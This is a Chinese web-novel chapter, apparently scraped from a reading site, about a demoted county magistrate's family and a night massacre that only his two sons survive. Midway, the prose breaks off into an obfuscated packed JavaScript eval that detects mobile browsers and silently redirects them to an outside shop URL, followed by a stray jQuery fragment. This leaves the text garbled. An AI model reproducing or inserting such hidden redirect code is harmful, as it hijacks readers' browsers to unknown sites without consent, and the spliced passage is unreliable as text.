庆历十二年，初秋。
开封城外五十余里有一陈留县，陈留县县衙的后面有一座私宅。
穿过衙署后侧的侧门，便可踏入宅院。高墙隔开了前边公堂的喧嚣，院内算得上清静。
院中地面铺满了青石板，平日里下人进出走动，脚步声贴着石壁来回的回响。
午后日头和煦，阳光刺眼却不晒人，一身素色官服的方伯明正独自坐在长廊下翻阅卷宗。
林燕回从长廊那头走来，手中端着两盏清茶，走到方伯明身边坐下，将左手中的青瓷茶盏轻轻搁在石桌上的雏菊旁，看着丈夫轻声打趣：
“日日埋首这些文书，你也不觉得枯燥。”
方伯明侧眸望向妻子，低低笑了一声，声音轻柔沉稳：“毕竟是分内的事，容不得半点马虎。”
这是方伯明被贬陈留的第三年。
三年前他不顾好友阻拦，上书弹劾汪守恩，指出他结党营私，处处打压东宫太子，实有谋反之心。
结果汪大人只是缓步踏出文官队列，躬身向着龙椅跪下叩首，说自己年近五十还要遭人如此诋毁，实在不堪其辱，硬要当场辞官还乡。
皇帝也是十分配合，竟坐在龙椅之上与那汪大人一起落泪，一边说着“汪卿莫要离开朕”，一边抬手一指，将方伯明弹出了京城。
赶到了陈留县做一任小县令。
离了朝堂争斗，方伯明的日子倒也清闲安逸。
每天清晨雷打不动的去花园里为妻子寻得鲜花给妻子簪着玩。今天刚给妻子摘得一捧雏菊，还没有交给妻子评判今天的花与她的衣服配不配，便被小儿子方珩拉着到了后院玩儿。
小孩子心性野，没一会儿就自己追蝴蝶玩去了，方伯明这才在廊下石桌边看起了公文。
这时小孩儿追蝴蝶追的猛了，脚下左脚绊右脚猛地向前扑去——
一个年纪稍大的少年在院墙边一直坐着，仿佛就等着这一幕，还没等方珩倒下去一半儿，便麻利站起身子伸手扶住了他，嘴上还教育道：
“珩儿，你方才跑得太快了。”
方珩踉跄两步，站稳后抬头看向大自己七岁的方岩，不好意思的笑了笑，嗓音甜甜的：
“哥～”
方岩一听就知道他又要撒娇，随即双手捂住双耳，朝父亲走去，不再理会这动不动就撒娇的弟弟。
方伯明看着方岩走过来，笑着朝他招了招手，嗓音温和：
“岩儿，快过来。”
夕阳西斜，落日似火，金灿灿的天光铺满整座院落，清淡饭香从小厨房漫开。
林燕回走到院子里牵起方珩，一边往回走一边哄他：
“珩儿玩累了，饭就做好了，今天有珩儿爱吃的吗？”
方珩紧紧贴着母亲的手，鼻子在空气中嗅了嗅：“有！”
方岩帮父亲收拾桌上的文书，抬头看向弟弟，语气笑盈盈地：“明明什么都爱吃，还非要像小狗似的闻一下。”
方珩拽着母亲的手晃了晃：
“娘～你看哥哥他又取笑我。”
方伯明看着两个孩子低低笑出了声，等妻子走到身前，便伸手拿起石桌上早晨摘的雏菊，替林燕回簪在发鬓上，温柔地哄道：
“今早摘的，放的久了。明日给你摘新的。”
林燕回点了点头，在两个孩子看不见的时候飞快的在丈夫嘴角亲了一口。
方伯明顿时红了脸，拥着妻子和孩子去前厅用饭了。
……
……
……
……
……
“嗬……呼……”
粗重的喘息声混着枯叶踩踏的脆响，沉沉夜幕笼罩着整个山野。
半大少年的怀里紧紧箍着瘦小的弟弟，拼尽全力向前跑着。
夜风裹挟着浓重的烟火焦味，随着少年每次呼吸狠狠灌入肺腑，灼得胸腔生疼。
怎么会变成这样……
方岩将方珩搂得密不透风，手臂肌肉绷得发酸，后背不可忽略地灼烧痛感密密麻麻的袭来，视线阵阵发昏。
可他不敢回头，更不敢停下脚步，借着夜色与漫天浓烟的掩护，踩着崎岖山道，跌跌撞撞着往后山土地庙狂奔。
半柱香前———
子时刚过，夜色浓如墨汁，天空无星无月。一家人早早陷入了梦乡。
忽听西院一声闷响，冲天火光骤然撕裂黑夜。照的院落恍如白昼。
大批蒙面黑衣人自暗处涌出。
入院便是屠戮，院里的仆役还没来得及呼救，便被冷兵穿胸而过尽数倒下。血腥气迅速填满整个庭院。
卧房内，方伯明瞬间惊醒，翻身而起，第一时间将林燕回护在身后。
他们根本来不及作出反应，外面的脚步声便步步逼近，刺骨的杀气破门而来。
“走暗道！”方伯明不再耽搁，反手抽出床边的横刀，几步挡在房门前将家人护在屋内，为他们争取逃跑的时间。
林燕回快步奔进内室，一把拽起睡熟的方珩，又摇醒一旁的方岩，两个孩子还没完全清醒，便被母亲拽下了床。
林燕回伸手掀开他们床底那块暗藏的石板，一条暗道赫然出现。
不过片刻，浓烟裹挟火光便涌入了屋内。
林燕回用力将两个孩子往暗道里推，掌心抵着方岩后背，力道万分决绝。
“岩儿，快走，快带你弟弟走。”
方岩望着门外父亲孤身迎战的背影，刀光起落，鲜血飞溅，眼眶骤然赤红。
他死死攥住母亲衣袖，声音发颤：“娘！一起走！和我们一起走！我们一起离开！”
林燕回用力摇头，眼底通红，声音却坚定的让方岩心碎：
“娘不能走。”
“若是我们一同脱身，这群人绝不会善罢甘休。”
她太清楚外面是什么人，她与方伯明，今日必须葬身此处。唯有他们俩死了，追兵才会停下搜捕，两个孩子方能拥有一线生机。
方岩死死咬紧牙关，泪水砸落在母亲手背上，拼命摇头，怀里的方珩已经哭成泪人，他再次像平日里一样对母亲撒娇，希望母亲能像平常一样什么都答应他：
“娘～快和珩儿走……”
“珩儿乖。”林燕回按住他的头颅，指尖用力，对方岩说出最后的嘱托：“岩儿，珩儿，你们一定要好好活下去。”
话音未落，她猛地将兄弟二人推入暗道深处，用力合上石板，彻底隔绝了屋内所有厮杀声响。
暗道狭窄幽暗，空气稀薄窒息。
方岩抱紧瑟瑟发抖的方珩，死死捂住弟弟的嘴，不敢再漏出半点哭声。
石板外侧，厮杀声越来越近。兵刃落地的脆响传来，是方伯明力竭之兆。
黑衣人搜遍整间卧房，始终没有找到密信中提及的方家两名幼子。
为首之人抬眼扫视空荡荡的卧房，语声冷硬：
“烧。”
烈火瞬间吞噬卧房。火浪顺着石板缝隙涌入，滚烫热浪席卷狭窄通道，火舌四下窜动。
方岩第一时间护住弟弟，将方珩紧紧箍在怀中，后背朝外，硬生生承接所有灼烫热浪，任由火星燎破衣衫、啃噬后背皮肉。
剧烈的疼痛使方岩瞬间失声，窒息感随之而来。
他抱着方珩往暗道出口跑，全副心神都集中在怀中弟弟身上，一时间无暇顾及自身。
火浪追逐而来，一簇火苗扑面而来，霎那间蜷缩在方岩怀里的方珩忽然抽出右手，径直挡在方岩面部。
滚烫火舌尽数扫过他单薄小臂。就是这一瞬，护住了方岩大半张面容，可仍有他没护住的地方被高温灼伤。
剧痛炸开，方岩眼前骤然发黑。
暗道之内热浪翻滚、浓烟弥漫，外头大火吞噬整座宅院，厮杀声渐渐平息，只剩下木梁焚毁持续不断的噼啪响动。
方岩凭借记忆，终于带着方珩从暗道另一端出口，跌爬着逃出方宅后院。
入目尽是漫天烬火和遍地焦土。
他来不及崩溃，抱紧浑身颤抖的方珩，拼尽全力向后山土地庙狂奔。直到两人冲进庙前空地，巨大的悲恸才裹挟着剧痛席卷全身。
方岩粗重喘息，低头看向惊魂未定的弟弟。他后背大片皮肉烧伤，已经痛得近乎麻木，视线阵阵虚浮。
他强行压心绪，牵着弟弟绕到庙后面，找到那口他和方珩先前经常捉迷藏的废弃枯井。
他蹲下身子，伸手按住方珩肩头，声音被浓烟熏的发哑：“珩儿，你躲进井里的干草堆，就像以前那样知道了吗？”
“无论听见什么、看见什么，都不可以动弹，更不可以出声。”
“只有听见我的声音，才能出来。记下了吗？”
方岩一句句叮嘱着，方珩一下下点头应着。
他小脸惨白，眼眶通红，双手还在紧紧攥着哥哥破烂的衣袖，他什么都懂，却不敢放声大哭，只是乖乖钻进枯井深处，蜷缩在干草堆里将自己藏得严严实实。
确认弟弟藏匿妥当，方岩才稍微放下心来。他衣衫大半都被烧毁，灼伤狰狞可怖，捡起庙里一件破旧麻衣草草裹住身体。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17933477|213686||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
他要回去。兴许……兴许父母还活着。他这么想着浑身就又有了力气，转身再度跑向家的方向。
此时明火已尽，只剩下遍地残火。
余火舔舐着焦黑木梁，发出细碎吞吐般的声响。空气里净是刺鼻焦糊味，混着血腥，浓的他每吸一口都想吐。
脚下步步碎裂声，分不清是瓦砾还是残骨。
没有奇迹发生，在后院里他还是找到了他们。井边的地面被大火烧得开裂，地面是从卧房挣扎爬过来的痕迹。
两具身体互相交叠着，面朝下，面皮已经烂了。大火过后，皮肤烧成了焦黑色，粘连着烧化的衣料，像两尊被烧毁的陶俑。
衣裳只有烧焦的部分还连着皮肉。
啊，还有一处是完整的——
他们的手握在一起，烧焦的皮肉粘连着，手指交错收紧，从关节扭曲的弧度可以看出来，那是死前用力攥住的。
方岩支撑不住，咚一声跪在焦土上，膝盖被碎瓦砾硌出了血，他没有感觉到。
无尽的耳鸣持续回荡，震得他整个头都在刺痛。
他看着那双烧焦的，紧紧扣在一起的手，好像一棵树的两根枝丫长到了一起。
方岩伸手想碰一下，指尖距离那双手还有一寸的距离，他停住了。
碰了之后会怎样？
是不是会碎？是不是会散？是不是碰了就再也不能复原了？
他把手又缩了回去。
余火还在烧，风把灰烬吹起来落在他的头发上，似乎在催促他快一点。
他低着头开始发抖。先是手指，然后是肩膀，最后全身都在抖。
他终于在父母面前放声大哭。泪水从眼眶涌出，左眼涌出的泪混着血落在焦土上，“滋”的一声被蒸干了。
哭到再也哭不出声，他才抬起身，看向了那把刀，刀身被父亲的手腕半掩着，露出一截刀柄和刀刃。
月光从残破的房梁照下来，落在刀身上，刀刃上泛着一层淡淡的紫色，像淬了一层紫霜。
他把父亲的手轻轻移开。烧焦的皮肤像纸一样，一碰便碎了一角，方岩的手指抖了一下，但没有停。终于把刀从父母交握的手下抽出来紧紧握在手中。
原本木质的刀鞘已经烧去了大半，不能再用了。可他还是捡起来抱在怀里。
他对着父母的遗骸磕了三个头。第三次磕下去的时候，他趴在地上很久很久。
然后他站起来把横刀插回刀鞘，系在腰间。没有再回头看一眼，转身就走了。
他不能留下给他们收尸。那批人根本不似寻常匪寇，他有预感他们马上还会再回来，他必须马上带着弟弟离开这里。
方岩咬着牙往外跑。跑过烧塌的院门，跑上通往土地庙的山道。
天还没有亮，月光照着路，他跑得太急，步伐凌乱，脚下被树根绊了一下，整个人朝前扑倒，摔在一块尖石头上。
左脸从下巴到脸颊裂开了一道深口，血糊住了半张脸。他趴在地上，额头的汗和脸上的血混在一起，滴在泥土里。他抬手用袖子胡乱擦了一下，撑着地爬起来，继续跑。
方珩缩在井底，枯井很浅，所以他早早就听到了脚步声。
他从草堆里探出头来小声叫着：“哥。”
方岩蹲在井边伸手把弟弟抱出来。方珩抱紧他的脖子，摸到了他脸上的血。
他没有问哥哥怎么了。只是把脸埋在方岩的颈窝里，两只小手攥着方岩的衣领，攥得很紧。
横刀贴在方岩的腰侧，刀柄硌得他肋骨发疼。
天边天光微亮。方岩牵着弟弟终于走到了镇子边缘，所幸这一路上都没碰到人。
路边浑水映出人影。方岩凑过去照了照——
直至看到自己左脸有一道狰狞长疤，而左眼死寂漆黑。他才终于彻底明白昨夜里都发生了什么。
方珩牵着他的一截手指，小小的手掌紧了紧。方岩扭过头调整了情绪，对着弟弟扯出一个笑来：
“我们走吧。”
———
数日后，陈留公文递往京城。
那上面只有寥寥数语：
庆历十二年秋，流寇百余人夜袭陈留方宅，知县方伯明阖家殉难，仅二子不知所踪，系流寇劫掠。
案卷送入大理寺，编号丁酉七十二案，归入盗匪卷宗，无人复核，无人深究。永久封存。
后来，民间仅有零星百姓偶尔提起，陈留曾经有过一名清正爱民的县令，最终落得这般惨淡收场。
至于方家两名遗孤是否存活于世，亦是无人知晓。